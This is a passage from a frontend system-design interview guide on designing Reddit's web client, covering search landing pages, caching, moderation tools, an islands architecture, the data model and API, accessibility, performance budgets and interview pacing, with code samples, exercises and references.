if (v === best) void v.play().catch(() => {}); // autoplay can still be refused
else v.pause();
}
}, { threshold: [0, 0.25, 0.5, 0.75, 1] });
Check your understanding · Exercise 8
A reader on a mid-range Android phone, with data saver on, scrolls a card listing of r/aww. What should happen? Select all that apply.
Signed-out readers and search: the post page as a landing page
Search for "how to fix split hollandaise" and a Reddit thread is often near the top. Reddit reports logged-out users as their own audience number to investors: in mid-2025, about 61 million of its 110 million daily active uniques were logged out, and much of that audience arrives from search engines. For those readers the post page is a landing page: a stranger on a phone, no cookie, one chance to load fast and answer the question. The LinkedIn guide covers the general one-URL, many-audiences problem; here is what changes for Reddit.
One canonical URL per post
A post URL has three parts: the community, the post id, and a slug made from the title: /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/. Only the id identifies the post; the slug is for humans and search snippets. Reddit post titles can't be edited, so the slug only differs when a link was truncated or mistyped. That raises a question: what happens for /r/Cooking/comments/1abc2d/, a link with a mangled slug, or the same post on old.reddit.com?
- The router looks up the post by id only. Any slug works, so old shared links never break.
- If the community name's case or the slug differs from the canonical form, the server answers
301 Moved Permanentlyto the canonical URL. Search engines then merge signals into one URL instead of splitting them across variants. - Every page also carries
link rel="canonical"pointing to the canonical URL, including alternate front ends like the old site, so they don't compete with the main one. - Query strings that don't change the content (
?utm_source=share,?context=3for sharing) stay out of the canonical URL.
Rendering for guests and crawlers
- The server renders the full post and the first 50 or so top comments as HTML. The answer the searcher wants is usually in those comments, so they must be in the HTML, not loaded by script.
- Guest HTML is the same for everyone, so the CDN caches it:
Cache-Control: public, s-maxage=60, stale-while-revalidate=600. A hot thread then costs one render per minute, not one per visitor. - Requests with a session cookie skip the shared cache, or get the same cached HTML plus a small viewer request. Guest HTML must never contain a username, a vote, or a CSRF token, and a cached response must never carry
Set-Cookie. - The page includes
title, a meta description from the post's first lines, Open Graph tags for link previews in other apps, and structured data.
Structured data tells search engines what the page is. Google documents a DiscussionForumPosting type for forum threads, with the comments nested as Comment objects, and uses it for features like Discussions and forums in results. Each posting and comment carries an author, a datePublished, and its text. The server writes it into the HTML as JSON-LD:
{
"@context": "https://schema.org",
"@type": "DiscussionForumPosting",
"headline": "How do I fix split hollandaise?",
"url": "https://www.reddit.com/r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/",
"author": { "@type": "Person", "name": "u/eggs_benedict", "url": "https://www.reddit.com/user/eggs_benedict/" },
"datePublished": "2026-03-14T09:12:00Z",
"text": "It went grainy after I added the butter...",
"interactionStatistic": { "@type": "InteractionCounter", "interactionType": "https://schema.org/LikeAction", "userInteractionCount": 812 },
"comment": [{ "@type": "Comment", "text": "Whisk a teaspoon of hot water into a clean bowl...",
"author": { "@type": "Person", "name": "u/saucier" }, "datePublished": "2026-03-14T09:40:00Z" }]
}
The app-install prompt, and what it costs
Every social site wants mobile web readers in its app, where they come back more often, and the tempting tool is a full-screen "Open in the app" sheet. Google's search guidance is explicit: interstitials and dialogs that block the content are bad for users and can hurt search performance. It recommends small banners instead, including the browsers' own app banners. And search visitors who meet a wall go back to the results and click the next site.
Decision How should a guest from search be invited into the app?
What we pick: A small banner on landing, plus contextual prompts at moments of intent. The page a searcher lands on must show the answer first. Measure installs and search traffic together: an interstitial that wins installs can lose more in search visits.
Check your understanding · Exercise 9
Which choices protect Reddit's search traffic? Select all that apply.
Moderation tools in the UI
Reddit's communities are run by volunteer moderators. Some handle thousands of reports a day, often on a phone. Their tools live inside the same pages everyone else uses, which raises three client questions: how the page knows who may do what, what each audience sees after an action, and how to make a queue of 500 items fast to work through.
Permissions per community
Moderator rights are per community and split into areas: posts and comments, flair, users (ban, mute), settings, mod mail, and wiki. A person can be a full moderator of r/cooking, a flair-only moderator of r/baking, and a regular member everywhere else. The viewer document for each community carries the list:
type ModPerm = "all" | "posts" | "flair" | "users" | "config" | "mail" | "wiki";
const can = (viewer: CommunityViewer, perm: ModPerm) =>
viewer.isMod && (viewer.modPerms.includes("all") || viewer.modPerms.includes(perm));
// In a post card
{can(viewer, "posts") && <ModActions postId={post.id} />}
{can(viewer, "flair") && <FlairEditor postId={post.id} />}
- The checks only decide what to render. The server checks every action again: a hidden button is a convenience, not a lock.
- Mod tools are their own code chunk, loaded with
import()only when the viewer moderates the current community. The vast majority of readers, who moderate nothing, never download them. - Mod data never goes into cached guest HTML. The mod bar and actions render on the client after the viewer document arrives, or in a server render that skips the shared cache.
What each audience sees after a removal
A removed post is not deleted: it is hidden from everyone except the author and the moderators, and each sees something different. Guests and members see [removed] in place of the body on the post page, and the post leaves listings. The author still sees their post with a notice: removed by the moderators of r/cooking, for Rule 3, with the removal reason text the moderator picked. Moderators see the full post with a red "Removed by u/name" label and an Approve button to undo it.
Automated filters work the same way. Many communities run AutoModerator, a bot with rules written by the moderators ("remove posts from accounts younger than 3 days", "filter titles containing these words for review"). When it filters a post, the author should see that at once on their post page, "Your post is waiting for moderator review", rather than discovering hours later that no one could see it. Hiding a removal from the author feels like a shadow ban and destroys trust.
The mod queue
The queue lists reported, filtered, and unmoderated items, newest or most reported first, with the reports' reasons. Three design points matter most:
- Speed: keyboard shortcuts (
jandkto move,ato approve,rto remove), optimistic actions with a 5-second undo, and the next item focused automatically. Removal reasons open in a small menu whose first item is focused, so a remove with reason is three keystrokes. - Several moderators at once: two mods may open the same item. Actions are idempotent per item ("set state to removed"), and if another mod acted first, the server replies with who did and when. The client shows "Already removed by u/sam 20 s ago" on the item, instead of an error.
- Bulk actions: select 30 spam posts and remove them in one request. The server returns a result per item, and the client marks failures individually.
User flair
User flair is a label next to a username, set per community: "Professional chef" in r/cooking, nothing in r/aww. Moderators can set it, and some communities let members pick from a list. It is part of the per-community author data that listings and comments carry, and it is user text, so it goes through the same escaping as everything else, with a short length cap so it can't push the comment off screen.
Check your understanding · Exercise 10
A moderator removes a post that has been on the front page of r/cooking for an hour. What should the system do? Select all that apply.
Architecture, data model, and API: server-rendered pages, islands, and web components
Reddit's web client has been rebuilt more than once, and each version is a lesson. The old site (still at old.reddit.com) was server-rendered HTML with a little jQuery: fast and light, but hard to evolve. The 2018 redesign was a large React single-page app: rich and app-like, but heavy, with a lot of JavaScript to download and run before a post was readable on a phone.
The current site, called Shreddit inside Reddit (its static files are served from a shreddit folder), went back to server-rendered HTML built from web components. Open the source of any community or post page and you'll see custom elements such as shreddit-post and shreddit-sort-dropdown in the HTML the server sent. Its script bundles include Lit, Google's small library for writing web components, and the elements upgrade in the browser as their code loads.
Decision How should the Reddit web client render pages?
What we pick: Server-rendered HTML with islands. Reddit's pages are mostly reading, with small, independent interactive parts, which is exactly the shape islands fit. The Islands and partial hydration lesson covers the general pattern; Reddit's own move from a single-page app to server-rendered web components is the real-world example.
The pieces and why the lines are there
| Piece | Responsibility | Why it is separate |
|---|---|---|
| Edge and CDN | Caches guest HTML and media; purges by key on edits and removals. | Guests are most of the traffic; one render serves thousands. |
| Page server (render) | Routes, fetches community, listing, and post data, renders HTML with theme tokens inlined. | Keeps first paint fast and indexable; owns canonical redirects. |
| Backend for frontend API | One call per screen part: listing page, viewer state, vote, submit, unfurl, mod action. | Shapes data for the web client and hides many backend services. |
| Entity store | Posts, communities, and users, normalized by fullname. | One post on three surfaces updates once. |
| Listing store | Ordered ids, after cursor, dedupe set, per listing key. | Ranking state is per sort and window; entities are shared. |
| Vote queue | Per-item confirmed, wanted, in-flight flag, rollback. | Votes are frequent and racy; isolating them keeps components simple. |
| Islands | Vote control, join button, sort menu, listing loader, media player, comment tree, composer, mod tools. | Each loads only when present and needed. |
| Upload and draft services | Upload leases and progress; draft autosave to storage and server. | Long-running work that must survive island re-renders. |
Islands talk through the shared stores, not to each other. When the vote island on a post card writes wanted = 1 for t3_1abc2d, every view that reads that post's vote from the entity store re-renders. With web components the same idea works with a small store module and DOM events: an island dispatches a vote-changed event that bubbles, and others subscribe.
after cursors through the same API client.Web components or framework islands?
- Web components (custom elements, optionally with a small library such as Lit): the browser upgrades each tag on its own, no framework runtime is needed to start an island, and teams can use them from any stack. Server rendering their shadow DOM needs Declarative Shadow DOM, which all major browsers support since early 2024.
- Framework islands (React with server components, or Astro-style islands): a bigger ecosystem and one component model for server and client. The cost is a framework runtime on the page and more care to keep static parts out of the client bundle.
- Either way, the design rules are the same: static by default, JavaScript only where there is interaction, shared state through stores, and the server as the source of first-paint HTML.
Check your understanding · Exercise 11
Why does a server-rendered, islands architecture fit Reddit better than a single-page app? Select all that apply.
Data model: public data and viewer data
The pieces above already hold the busiest data: the entity store keeps posts, communities, and users by fullname, the listing store keeps each listing's ids and cursor, and the vote queue keeps pending votes. The key decision for everything else is splitting public data, which is the same for every reader and can be cached anywhere, from viewer data, which belongs to one person and must never sit in a shared cache. The rest of the client's data lives here:
| Data | Where it lives | Why there |
|---|---|---|
| Sort, time window, flair filter | URL path and query | Shareable, back-button friendly, the listing cache key. |
| My votes, joined, mod rights | Viewer store, from a small per-viewer request | Never in cached HTML; per person. |
| Drafts | localStorage and the server drafts endpoint | Survive a closed tab; follow the member across devices. |
| Theme tokens | Inlined CSS custom properties in the HTML | Correct colors on first paint, no script needed. |
| Revealed spoilers, expanded rules | Component state | Local, cheap, fine to lose on navigation. |
type Fullname = `t${1 | 2 | 3 | 5}_${string}`;
type Post = {
id: Fullname; // "t3_1abc2d"
communityId: Fullname; // "t5_2qh1e"
authorId: Fullname | null; // null when the account was deleted
title: string;
slug: string; // "how_do_i_fix_split_hollandaise"
kind: "text" | "link" | "image" | "gallery" | "video" | "poll";
body?: RichTextNode[]; // parsed on the server, never raw HTML
link?: { url: string; domain: string; preview?: ImageRef };
media?: { assets: ImageRef[] } | { video: VideoRef };
flair?: { id: string; text: string };
nsfw: boolean; spoiler: boolean;
score: number; scoreHidden: boolean; commentCount: number;
createdAt: string;
state: "live" | "removed" | "filtered" | "deleted";
locked: boolean; // no new comments; independent of state
};
type PostViewer = { vote: 1 | 0 | -1; saved: boolean; hidden: boolean; canModerate: boolean };
type ListingKey = { community: string; sort: "hot" | "new" | "top" | "rising" | "controversial"; t?: "hour" | "day" | "week" | "month" | "year" | "all" };
The API
The page server and the islands call the same backend for frontend. Listings return public data only; a second call returns viewer data for the ids on screen, so the listing response can be cached and shared:
GET /api/r/cooking/listing?sort=top&t=week&limit=25&after=t3_1abc2d
200 { "posts": [Post], "after": "t3_1abd9x", "before": null }
Cache-Control: public, s-maxage=30
POST /api/viewer/posts { "ids": ["t3_1abc7q", "t3_1abd01"] }
200 { "t3_1abc7q": { "vote": 1, "saved": false, ... } }
Cache-Control: private, no-store
POST /api/vote { "id": "t3_1abc7q", "dir": 0 }
204 | 429 Retry-After: 4 | 403 { "error": "ARCHIVED" }
POST /api/unfurl { "url": "https://example.com/hollandaise" }
200 { "title": "...", "image": { "assetId": "img_9f3" }, "alreadyPostedIn": ["r/cooking"] }
POST /api/submit Idempotency-Key: 6f1c...
{ "community": "t5_2qh1e", "kind": "gallery", "title": "...",
"assets": ["img_1", "img_2"], "flairId": "fl_3", "nsfw": false, "spoiler": false }
201 { "id": "t3_1abe44", "url": "/r/cooking/comments/1abe44/...", "state": "filtered",
"notice": "Your post is waiting for moderator review." }
POST /api/mod/action { "ids": ["t3_1abe44"], "action": "remove", "reasonId": "r3" }
200 { "results": { "t3_1abe44": { "ok": false, "error": "ALREADY_REMOVED", "by": "u/sam" } } }
- Errors carry a stable code (
ARCHIVED,RATE_LIMITED,FLAIR_REQUIRED,ALREADY_REMOVED) and a human message. The client maps codes to UI; it never parses the message. - Submit is idempotent through
Idempotency-Key: a retry after a timeout returns the same post instead of creating a duplicate. - Submit returns the post's state: a filtered post comes back with a notice, so the composer can tell the author right away.
- Archived posts (old threads closed to new votes and comments) return
403 ARCHIVED; the client shows disabled arrows with a tooltip ahead of time, using thearchivedflag on the post.
Check your understanding · Exercise 12
Which data may be included in the CDN-cached listing response? Select all that apply.
Accessibility, performance, and what to measure
Vote buttons that announce their state
Arrows are icons, so they need names, and they are toggles, so they need state. Two real button elements with aria-pressed do both. A screen reader then says "Upvote, toggle button, pressed", and the state is right on page load because the server renders it.
<div role="group" aria-label="Vote on: How do I fix split hollandaise?">
<button type="button" aria-pressed="true" aria-label="Upvote">
<svg aria-hidden="true">...</svg>
</button>
<span>812</span>
<button type="button" aria-pressed="false" aria-label="Downvote">
<svg aria-hidden="true">...</svg>
</button>
</div>
- Why not radio buttons, like the Poll widget guide uses? A poll picks one option and submits it with a Vote button. A vote has a third state, none, reached by pressing the active arrow again, and native radios can't be unchecked that way. Two toggle buttons model up, none, and down directly.
- Don't put the score in an
aria-liveregion. On a listing, every vote and every refetch would interrupt the reader. The pressed state already confirms the action; the score is read when the reader moves to it. - Pressed and unpressed must differ by more than color: a filled versus outlined arrow, so color-blind readers and forced-colors mode see the state.
- On a rollback, move nothing and steal no focus. Announce "Vote not saved" once in a polite live region, and the arrow returns to its old state.
- Arrows are at least 24 by 24 CSS pixels, the WCAG 2.2 minimum target size, and larger on touch screens.
A listing you can move through by keyboard
An endless listing is hard to use without a mouse: there is no last item to Tab to, new cards arrive while you move, and the footer keeps running away. The WAI-ARIA feed pattern and a few shortcuts fix most of it.
- Each post is an
articlelabelled by its title. The listing follows the WAI-ARIA feed pattern:role="feed",aria-busy="true"while a page loads, andaria-posinsetandaria-setsizeon each article (-1when the total is unknown). - Shortcuts for power users:
jandkmove between posts,aandzvote,Enteropens. They are off while typing in a field, and listed in a help dialog opened with?. - Infinite loading never moves focus. A polite live region says "25 more posts loaded". Footer links (help, terms) live in the sidebar or a menu, because an endless list makes a page footer unreachable.
- Comment collapse is a
buttonwitharia-expanded; the Comments thread guide covers threads in depth. - Theme colors pass through the contrast repair from the theming chapter, including the focus ring, which needs 3 to 1 against the background.
- Vote and expand animations are skipped when
prefers-reduced-motion: reduceis set.
Performance budgets
| Metric | Target on a mid-range phone, 4G | How the design gets there |
|---|---|---|
| Largest Contentful Paint | Under 2.5 s | Edge-cached HTML; title and first image in the HTML; fetchpriority="high" on the hero image; theme inlined. |
| Interaction to Next Paint | Under 200 ms | Islands instead of whole-page hydration; optimistic votes that update one element; long listings virtualized. |
| Cumulative Layout Shift | Under 0.1 | Known media sizes; reserved space for banners and the app prompt; viewer state fills arrows in place. |
| JavaScript for a post page | Under 100 KB compressed before interaction | No markdown parser for reading; composer, mod tools, and player loaded on demand. |
- Prefetch the post page data when a card is hovered for 100 ms or touched (
pointerdown), so the tap feels instant. - Virtualize long sessions: a reader 600 posts deep should not keep 600 cards with media in the DOM. The Infinite scroll and News feed guides cover it.
- System fonts for body text avoid a font download on the critical path.
What to measure
- Real-user Core Web Vitals split by page type (post, listing) and by signed-in versus guest.
- Duplicates dropped per page and empty-page retries: a rise means cursor or caching trouble.
- Vote rollback rate and
429rate: a rise means the API is struggling or limits are too tight. - Theme repairs per community: how often moderators pick colors that fail contrast, to improve the settings UI.
- Search landing bounce rate before and after any change to prompts or interstitials.
Check your understanding · Exercise 13
Which make the vote control accessible? Select all that apply.
Running it in the interview
"Design Reddit" is huge, and the trap is spending 20 minutes on the comment tree or a generic feed. Say early that you will treat those as known patterns and spend the time on what makes Reddit different: communities, ranked listings, votes, untrusted content, and search visitors.
| Minutes | What to do | What to draw or say |
|---|---|---|
| 0 to 5 | Scope | Ask about guest traffic, theming freedom, sorts, post types, and moderation. State what is out: comment tree internals, chat, ranking servers. |
| 5 to 10 | Page and architecture | Draw the community page wireframe, then server render plus CDN plus islands. Say why: reading-heavy, search traffic, phones. |
| 10 to 18 | Listings | Hot formula in one sentence, cursors with fullnames, dedupe, sort and window in the URL. |
| 18 to 25 | Voting | Three states, optimistic final-state writes, one in flight, rollback, fuzzed scores, aria-pressed. |
| 25 to 32 | Communities and safety | Theme tokens with contrast repair; markdown parsed on the server with raw HTML off; link previews on the server. |
| 32 to 40 | Your choice of depth | Composer and uploads, logged-out SEO and interstitials, or moderation, whichever the interviewer leans into. |
| 40 to 45 | Wrap up | Performance budgets, what you would measure, and what you would build next. |
Follow-up questions and strong answers
Interviewers usually push on one area after the overview. These four come up often. Try answering each before you open the model answer.
Think first
A big community demands its custom CSS back. What do you say?
Explain the costs first: custom CSS can hide controls like the downvote or report buttons, can break readability and accessibility, and freezes our DOM and class names, so we couldn't redesign without breaking thousands of communities.
Then offer more expressive tokens instead: more color slots, banner layouts, a choice of a few font pairs, custom post flair styles, and new widget kinds. Each one is built and tested by us, and works in dark mode and on phones.
Think first
Readers complain that they see the same post twice when scrolling hot. Walk me through the fix.
Cursor paging anchors on the last post's fullname, but if that post or posts near it lost votes, they can reappear below the cursor. The client keeps a Set of seen fullnames per listing and drops repeats; if a whole page is repeats, it fetches the next one automatically.
I'd also log dropped duplicates per page. A sudden rise usually means a caching bug, like a CDN serving a stale page 2 for a fresh page 1.
Think first
During a big live event, vote traffic triples and the vote API starts returning 429 and timeouts. What does the client do?
Keep the optimistic UI but respect the server: on 429 roll back, show one short message, and honor Retry-After without automatic retries. On timeouts, one retry with jitter is safe because the vote is idempotent.
The one-in-flight rule already collapses rapid taps. I would also make sure the client never retries in a loop, and watch rollback rate as the signal that users feel the problem.
Think first
How does a signed-in member get correct vote arrows on first paint if the HTML comes from a shared cache?
Two options. The page server can detect the session cookie, skip the shared cache, and render viewer state into the HTML. Or the cached HTML renders neutral arrows and a small private request fills them in within a few hundred milliseconds, with no layout shift because arrows don't change size.
Many products use the first for members and the second for guests. The key rule is the same: viewer data never lands in a shared cache entry.
Check your understanding · Exercise 14
Which moves make for a strong Reddit interview? Select all that apply.
Summary
- The community is the unit: its look, rules, flairs, and widgets arrive as typed data that our components render, never as code.
- Theme with a few tokens mapped to CSS custom properties, and repair any color that fails WCAG contrast, in light and dark mode, before it reaches the page.
- Hot is log of net votes plus creation time: 12.5 hours newer needs one tenth the votes. Scores don't decay, so rankings shift as votes and new posts arrive.
- Page listings with fullname cursors, keep sort and window in the URL, and drop duplicates by fullname on the client.
- Votes are three-state, optimistic, sent as a final value with one request in flight per item, and displayed as server score minus server vote plus my vote, because scores are fuzzed.
- Parse markdown on the server with raw HTML off, allow only safe link protocols, and make spoilers truly hidden; fetch link previews on the server.
- Post pages are search landing pages: server-rendered with top comments, edge-cached, canonical URLs, structured data, and no content-blocking app prompts.
- Server-render everything public and wake only interactive islands; keep viewer data out of shared caches; load composer and mod tools on demand.
Check your answer
Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.
References
- Reddit's archived source: _sorts.pyx (hot, controversy, confidence) The original ranking formulas, as open-sourced.
- Reddit API documentation Fullnames, listings with after and before, and the vote endpoint.
- Google Search Central: Avoid intrusive interstitials and dialogs
- Google Search Central: Discussion forum structured data
- Reddit Help: Formatting Guide Spoilers, superscript, tables, and the rest of Reddit's markdown.
- Reddit Help: Community Appearance overview What moderators can customize on the current site.
- WCAG 2.2 Understanding: Contrast (Minimum)
- WCAG 2.2 Understanding: Non-text Contrast
- WAI-ARIA Authoring Practices: Feed pattern
- MDN: Using custom properties (CSS variables)
- MDN: Using custom elements
- Lit: Server-side rendering
- web.dev: Largest Contentful Paint
Concepts behind it
- Server-side renderingThe server builds the full HTML for each request, so users see content before any JavaScript runs, then the browser hydrates it: faster first paint and better SEO, paid for with server work, a later first byte, and a second render in the browser.
- Islands and partial hydrationShip a page as static HTML and send JavaScript only for the few parts that need it, each waking up on its own trigger, so content pages stay fast on slow phones instead of paying to hydrate the whole app.
- Pagination: offset, cursor, and keysetWays to load a long list one piece at a time, and why the choice decides whether users see duplicates, miss items, or wait on slow deep pages when the list changes.
- Optimistic updatesShowing the result of a user's action at once, before the server confirms it, and quietly undoing it if the server says no: the trick that makes likes, checkboxes, and chat messages feel instant on any network.
- The URL as stateFilters, sort, page, tab, and selected item stored in the address bar instead of only in memory, so a view can be shared, bookmarked, refreshed, and walked back with the Back button: the cheapest state store the browser gives you.
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- Color, contrast, and motionHow people with low vision, color blindness, motion sensitivity, or custom system themes see your UI, and the rules that keep it usable: contrast ratios, never color alone, reflow at 400% zoom, target size, and the user preference media queries.
- Web components and shadow DOMThe browser's own component model: custom HTML tags with their own lifecycle, a shadow tree that keeps their markup and styles private, and slots for the page's content, so one component works in React, Vue, Angular, or plain HTML.